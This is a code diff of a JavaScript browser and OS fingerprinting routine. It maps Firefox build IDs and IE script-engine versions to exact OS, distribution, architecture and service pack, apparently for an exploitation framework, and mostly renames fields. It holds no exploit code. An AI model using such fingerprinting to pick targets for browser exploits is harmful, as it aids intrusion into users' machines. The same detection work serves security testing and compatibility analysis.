-			case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
+			case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "SUSE"; break;
+			case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
 			case "20100401064631": ua_version = "3.6.3"; os_name = oses_mac_osx; break;
 			case "20100401074458": ua_version = "3.6.3"; os_name = oses_linux; break;
 			case "20100401080539": ua_version = "3.6.3"; os_name = oses_windows; break;
-			case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break;
-			case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break;
-			case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
+			case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break;
+			case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break;
+			case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
 			case "20100413152922": ua_version = "3.6.4.b1"; os_name = oses_mac_osx; break;
 			case "20100413154310": ua_version = "3.6.4.b1"; os_name = oses_linux; break;
 			case "20100413172113": ua_version = "3.6.4.b1"; os_name = oses_windows; break;
-			case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
-			case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break;
-			case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
-			case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break;
-			case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
+			case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
+			case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break;
+			case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break;
+			case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
 			case "20100502202326": ua_version = "3.6.4.b2"; os_name = oses_linux; break;
 			case "20100502202401": ua_version = "3.6.4.b2"; os_name = oses_mac_osx; break;
 			case "20100502221517": ua_version = "3.6.4.b2"; os_name = oses_windows; break;
@@ -626,69 +633,69 @@ os_detect.getVersion = function(){
 			case "20100504085637": ua_version = "3.5.10"; os_name = oses_linux; break;
 			case "20100504085753": ua_version = "3.5.10"; os_name = oses_mac_osx; break;
 			case "20100504093643": ua_version = "3.5.10"; os_name = oses_windows; break;
-			case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "SUSE"; break;
-			case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break;
+			case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "SUSE"; break;
+			case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break;
 			case "20100513134853": ua_version = "3.6.4.b4"; os_name = oses_mac_osx; break;
 			case "20100513140540": ua_version = "3.6.4.b4"; os_name = oses_linux; break;
 			case "20100513144105": ua_version = "3.6.4.b4"; os_name = oses_windows; break;
-			case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
 			case "20100523180910": ua_version = "3.6.4.b5"; os_name = oses_mac_osx; break;
 			case "20100523181754": ua_version = "3.6.4.b5"; os_name = oses_linux; break;
 			case "20100523185824": ua_version = "3.6.4.b5"; os_name = oses_windows; break;
 			case "20100527084110": ua_version = "3.6.4.b6"; os_name = oses_mac_osx; break;
 			case "20100527085242": ua_version = "3.6.4.b6"; os_name = oses_linux; break;
 			case "20100527093236": ua_version = "3.6.4.b6"; os_name = oses_windows; break;
-			case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "SUSE"; break;
+			case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "SUSE"; break;
 			case "20100611134546": ua_version = "3.6.4.b7"; os_name = oses_mac_osx; break;
 			case "20100611135942": ua_version = "3.6.4.b7"; os_name = oses_linux; break;
 			case "20100611143157": ua_version = "3.6.4.b7"; os_name = oses_windows; break;
-			case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break;
-			case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86_64; break;
-			case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break;
-			case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break;
+			case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86_64; break;
+			case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break;
+			case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "20100625222733": ua_version = "3.6.6"; os_name = oses_linux; break;
 			case "20100625223402": ua_version = "3.6.6"; os_name = oses_mac_osx; break;
 			case "20100625231939": ua_version = "3.6.6"; os_name = oses_windows; break;
-			case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
-			case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break;
-			case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
-			case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break;
+			case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
+			case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "20100630131607": ua_version = "4.0.0.b1"; os_name = oses_mac_osx; break;
 			case "20100630132217": ua_version = "4.0.0.b1"; os_name = oses_linux; break;
 			case "20100630141702": ua_version = "4.0.0.b1"; os_name = oses_windows; break;
-			case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break;
-			case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break;
-			case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break;
+			case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break;
+			case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "20101203075014": ua_version = "3.6.13"; os_name = oses_windows; break;
-			case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
+			case "20101206122825": ua_version = "3.6.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
 			case "20110318052756": ua_version = "4.0"; os_name = oses_windows; break; // browsershots: Firefox 4.0 / Windows XP
-			case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch)
+			case "20110420144310": ua_version = "3.5.19"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.5.19 / Debian 4.0 (Etch)
 			case "20110615151330": ua_version = "5.0"; os_name = oses_windows; break; // browsershots: Firefox 5.0 / Windows XP
 			case "20110811165603": ua_version = "6.0"; os_name = oses_windows; break; // browsershots: Firefox 6.0 / Windows XP
-			case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch)
+			case "20110830092941": ua_version = "6.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 6.0.1 / Debian 4.0 (Etch)
 			case "20110922153450": ua_version = "7.0"; os_name = oses_windows; break; // browsershots: Firefox 7.0 / Windows XP
-			case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch)
+			case "20110928134238": ua_version = "7.0.1"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 7.0.1 / Debian 4.0 (Etch)
 			case "20111104165243": ua_version = "8.0"; os_name = oses_windows; break; // browsershots: Firefox 8.0 / Windows XP
-			case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala)
+			case "20111115183813": ua_version = "8.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 8.0 / Ubuntu 9.10 (Karmic Koala)
 			case "20111216140209": ua_version = "9.0"; os_name = oses_windows; break; // browsershots: Firefox 9.0 / Windows XP
 			case "20120129021758": ua_version = "10.0"; os_name = oses_windows; break; // browsershots: Firefox 10.0 / Windows 2000
-			case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch)
-			case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch)
-			case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala)
-			case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala)
-			case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
+			case "20120201083324": ua_version = "3.5.16"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.5.16 / Debian 4.0 (Etch)
+			case "20120216013254": ua_version = "3.6.27"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 3.6.27 / Debian 4.0 (Etch)
+			case "20120216100510": ua_version = "10.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 10.0.2 / Ubuntu 9.10 (Karmic Koala)
+			case "20120310010316": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 11.0 / Ubuntu 9.10 (Karmic Koala)
+			case "20120310194926": ua_version = "11.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
 			case "20120312181643":
 				// It is disconcerting that a buildID is the same on Windows
 				// and Mac, need to examine more versions on Mac.
@@ -699,9 +706,9 @@ os_detect.getVersion = function(){
 					os_name = oses_windows; // browsershots: Firefox 11.0 / Windows XP
 				}
 				break;
-			case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch)
-			case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-			case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_flavor = "Fedora"; break;
+			case "20120314195616": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Firefox 12.0 / Debian 4.0 (Etch)
+			case "20120423142301": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+			case "20120424151700": ua_version = "12.0"; os_name = oses_linux; os_vendor = "Fedora"; break;
 			default:
 				version = this.searchVersion("Firefox", navigator.userAgent);
 				// Verify whether the ua string is lying by checking if it contains
@@ -731,64 +738,67 @@ os_detect.getVersion = function(){
 		// share.
 		os_name = oses_windows;
 		ua_name = clients_ie;
-		version = ScriptEngineMajorVersion().toString();
-		version += ScriptEngineMinorVersion().toString();
-		version += ScriptEngineBuildVersion().toString();
+		version_maj   = ScriptEngineMajorVersion().toString();
+		version_min   = ScriptEngineMinorVersion().toString();
+		version_build = ScriptEngineBuildVersion().toString();
+
+		version = version_maj + version_min + version_build;
+
 		//document.write("ScriptEngine: "+version+"<br />");
 		switch (version){
 			case "514615":
 				// IE 5.00.2920.0000, 2000 Advanced Server SP0 English
 				ua_version = "5.0";
-				os_flavor = "2000";
+				os_name = "Windows 2000";
 				os_sp = "SP0";
 				break;
 			case "515907":
-				os_flavor = "2000";
+				os_name = "Windows 2000";
 				os_sp = "SP3";	//or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
 				break;
 			case "518513":
-				os_flavor = "2000";
+				os_name = "Windows 2000";
 				os_sp = "SP4";
 				break;
 			case "566626":
 				// IE 6.0.2600.0000, XP SP0 English
 				// IE 6.0.2800.1106, XP SP1 English
 				ua_version = "6.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP0";
 				break;
 			case "568515":
 				// IE 6.0.3790.0, 2003 Standard SP0 English
 				ua_version = "6.0";
-				os_flavor = "2003";
+				os_name = "Windows 2003";
 				os_sp = "SP0";
 				break;
 			case "568820":
 				// IE 6.0.2900.2180, xp sp2 english
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP2";
 				break;
 			case "568827":
-				os_flavor = "2003";
+				os_name = "Windows 2003";
 				os_sp = "SP1";
 				break;
 			case "568831":	//XP SP2 -OR- 2K SP4
-				if (os_flavor == "2000"){
+				if (os_name == "2000"){
 					os_sp = "SP4";
 				}
 				else{
-					os_flavor = "XP";
+					os_name = "Windows XP";
 					os_sp = "SP2";
 				}
 				break;
 			case "568832":
-				os_flavor = "2003";
+				os_name = "Windows 2003";
 				os_sp = "SP2";
 				break;
 			case "568837":
 				// IE 6.0.2900.2180, XP Professional SP2 Korean
 				ua_version = "6.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP2";
 				break;
 			case "5716599":
@@ -799,7 +809,7 @@ os_detect.getVersion = function(){
 				// Since this scriptengine applies to more than one major version of
 				// IE, rely on the object detection below to determine ua_version.
 				//ua_version = "6.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP3";
 				break;
 			case "575730":
@@ -814,19 +824,19 @@ os_detect.getVersion = function(){
 			case "5718066":
 				// IE 7.0.5730.13, XP Professional SP3 English
 				ua_version = "7.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP3";
 				break;
 			case "5722589":
 				// IE 7.0.5730.13, XP Professional SP3 English
 				ua_version = "7.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP3";
 				break;
 			case "576000":
 				// IE 7.0.6000.16386, Vista Ultimate SP0 English
 				ua_version = "7.0";
-				os_flavor = "Vista";
+				os_name = "Windows Vista";
 				os_sp = "SP0";
 				break;
 			case "580":
@@ -838,13 +848,13 @@ os_detect.getVersion = function(){
 			case "5816762":
 				// IE 8.0.7600.16385, Windows 7 English
 				ua_version = "8.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP0";
 				break;
 			case "5817514":
 				// IE 8.0.7600.17514, Windows 7 SP1 English
 				ua_version = "8.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "5818702":
@@ -852,104 +862,109 @@ os_detect.getVersion = function(){
 			case "5822960":
 				// IE 8.0.6001.18702, XP Professional SP3 Greek
 				ua_version = "8.0";
-				os_flavor = "XP";
+				os_name = "Windows XP";
 				os_sp = "SP3";
 				break;
 			case "9016406":
 				// IE 9.0.7930.16406, Windows 7 64-bit
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP0";
 				break;
 			case "9016441":
 				// IE 9.0.8112.16421, Windows 7 32-bit English
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016443":
 				// IE 9.0.8112.16421, Windows 7 Polish
 				// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016446":
 				// IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988)
 				// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016464":
 				// browsershots.org, MSIE 7.0 / Windows 2008 R2
-				os_flavor = "2008R2";
+				os_name = "Windows 2008 R2";
 				ua_version = "9.0";
 				break;
 			case "9016470":
 				// IE 9.0.8112.16421 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016502":
 				// IE 9.0.8112.16502 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016506":
 				// IE 9.0.8112.16506 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016514":
 				// IE 9.0.8112.16514 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016520":
 				// IE 9.0.8112.16520 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016526":
 				// IE 9.0.8112.16526 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "9016533":
 				// IE 9.0.8112.16533 / Windows 7 SP1
 				ua_version = "9.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "10016720":
 				// IE 10.0.9200.16721 / Windows 7 SP1
 				ua_version = "10.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "11016428":
 				// IE 11.0.9600.16428 / Windows 7 SP1
 				ua_version = "11.0";
-				os_flavor = "7";
+				os_name = "Windows 7";
 				os_sp = "SP1";
 				break;
 			case "10016384":
 				// IE 10.0.9200.16384 / Windows 8 x86
 				ua_version = "10.0";
-				os_flavor = "8";
+				os_name = "Windows 8";
 				os_sp = "SP0";
 				break;
+			case "11016426":
+				// IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English
+				ua_version = "11.0";
+				os_name = "Windows 8.1";
+				break;
 			case "1000":
 				// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
 				ua_version = "10.0";
-				os_flavor = "8";
+				os_name = "Windows 8";
 				os_sp = "SP0";
 				break;
 			default:
